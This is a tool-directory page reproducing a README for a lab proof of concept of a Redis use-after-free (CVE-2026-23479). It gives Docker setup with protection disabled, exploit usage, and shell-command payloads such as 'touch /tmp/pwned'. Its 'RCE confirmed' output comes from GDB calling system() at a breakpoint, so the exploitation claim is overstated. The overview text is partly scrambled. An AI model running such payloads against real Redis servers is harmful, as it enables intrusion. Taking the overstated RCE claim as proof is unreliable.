Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — Proof of concept with GDB‑assisted exploitation (educational / lab use only) | Kitploit
Tools/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
Vulnerability AnalysisExploitationDebuggersLearning & EducationDatabase SecurityBinary ExploitationLabs & Practice
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

Proof of concept with GDB‑assisted exploitation (educational / lab use only)

View Repository
81 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🔥 CVE-2026-23479 – Redis UAF Proof of Concept

License Python Docker CVE PoC

Use-After-Free in Redis unblockClientOnKey() leading to Remote Code Execution
Proof of concept with GDB‑assisted exploitation (educational / lab use only)


📖 Overview

CVE-2026-23479 is a critical Use‑After‑Free (UAF) vulnerability in Redis versions 7.2.0 through 8.6.2.
The bug resides in unblockClientOnKey() which calls . If the client is freed during that call (e.g. due to eviction), the caller continues to operate on a dangling pointer → . An attacker who can shape the heap after the free may achieve .

processCommandAndResetClient()
without checking its return value

UAF

arbitrary code execution

This repository provides a GDB‑assisted PoC that:

  • Triggers the exact vulnerable code path
  • Proves the UAF by deliberately causing a crash (freeClient() call)
  • Demonstrates arbitrary command execution by injecting a system() call at the same point

⚠️ Important: This is not a weaponised exploit. It uses GDB inside a privileged Docker container to simulate what a real attacker could achieve after successfully exploiting the UAF.
Use it only in your own lab or on systems you have explicit permission to test.


✨ Features

  • 🧪 Four operation modes – crash, gdb, rce, full
  • 🐳 Docker‑based – no need to install a vulnerable Redis on the host
  • 🔍 Automatic version detection – checks whether the target is in the affected range
  • 🧹 Self‑cleaning – kills stale GDB sessions before each run
  • 🎯 Flexible container name – pass any container via --container
  • 📦 Single Python file – zero dependencies beyond the standard library

🧠 How It Works

  1. Block a victim – An XREAD BLOCK command makes the client wait for stream data.
  2. Attach GDB – GDB attaches to the Redis process (pid 1) inside the container.
  3. Set a breakpoint on processCommandAndResetClient – the function called when the blocked client is re‑processed.
  4. Trigger unblock – An XADD on the same stream wakes the victim.
  5. On breakpoint hit:
    • gdb mode: calls freeClient($rdi) → deliberately causes a SIGSEGV → proves UAF.
    • rce mode: calls system("your command") → executes arbitrary shell commands as the Redis user (root by default).
  6. Verify – the script checks whether the expected proof file exists (RCE) or whether Redis crashed (UAF).

The breakpoint fires every time a blocked client is unblocked, showing that the same code path that contains the UAF also allows code execution.


📋 Affected Versions

BranchVulnerable Range
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

The script automatically parses the Redis version and reports whether it is vulnerable.


🐳 Prerequisites

  • Docker installed and running
  • Python 3.8+ (only stdlib used)
  • A Redis 8.6.2 Docker image that uses apt (e.g. the official redis:8.6.2)
  • The container must be created with --privileged (required for ptrace)

⚙️ Setup

1. Clone the repository

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. Start a vulnerable Redis container

root@kitploit:~
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. Install GDB inside the container

root@kitploit:~
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. Verify

root@kitploit:~
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 Usage

root@kitploit:~
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

Modes

ModeDescription
crashAttempt to trigger UAF via memory pressure (no GDB required). Redis may crash, but not guaranteed.
gdbAttach GDB and call freeClient() at the breakpoint → forces a SIGSEGV (proves UAF).
rceAttach GDB and call system(cmd) at the breakpoint → executes a shell command inside the container.
fullRun crash first; if Redis doesn't crash, fall back to gdb.

Options

ArgumentDefaultDescription
target(required)IP address of the Redis server
-p, --port6379Redis port
-m, --modefullOne of crash, gdb, rce, full
--containerenv-redis-vuln-1Docker container name
--cmdid > /tmp/pwned_by_cveCommand to execute in rce mode

📚 Step-by-Step Examples

Note: All commands are run from the host machine, not inside the Docker container.

1. Prove the UAF via GDB

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

Expected Output (excerpt)

root@kitploit:~
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis will crash after the segmentation fault.

Restart the container:

root@kitploit:~
docker start redis-vuln-local

2. Achieve Remote Code Execution (RCE)

Restart Redis to ensure a clean state:

root@kitploit:~
docker restart redis-vuln-local

Run the exploit:

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

Verify the proof file:

root@kitploit:~
docker exec redis-vuln-local ls -l /tmp/pwned

If successful, the file will exist, proving that:

root@kitploit:~
system("touch /tmp/pwned");

was executed inside the Redis container.


3. Trigger the UAF Without GDB (Memory Pressure)

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

If Redis exits unexpectedly (the container is no longer running), the UAF has likely been triggered.

Restart it with:

root@kitploit:~
docker start redis-vuln-local

4. Run the Full Test

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

This mode:

  1. Attempts the memory-pressure crash.
  2. Falls back to the GDB-assisted method if Redis survives.

📸 Sample Output (RCE Mode)

root@kitploit:~
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 Modifications from the Original Script

The original PoC was hardcoded for a container named env-redis-vuln-1 and contained several issues when executed with newer Python versions.

The updated version introduces the following improvements:

IssueFix
Hardcoded container nameAdded the --container argument and propagated it through all functions.
file command placed inside the commands block in the GDB scriptMoved file /usr/local/bin/redis-server before attach so GDB loads symbols correctly.
subprocess.run() used with both capture_output=True and stderr=...Replaced with stdout=subprocess.DEVNULL and stderr=subprocess.DEVNULL.
Stale GDB processes causing ptrace: Operation not permittedAdded pkill -9 gdb before launching GDB in both trigger_uaf_gdb() and trigger_rce().
No feedback when GDB failed silentlyAdded debug logging for GDB output and improved proof-file detection.

🧹 Cleanup

root@kitploit:~
docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ Disclaimer

This tool is intended solely for educational purposes, authorized security research, and testing systems you own or have explicit permission to assess.

The author does not condone or encourage unauthorized or malicious use.

Always obtain proper authorization before testing any production or third-party system.


📚 References

  • CVE-2026-23479 – NVD Detail
  • Redis Security
  • Redis GitHub Repository

Made with ❤️ for the security community.

Stay ethical. Stay safe.

Download Tool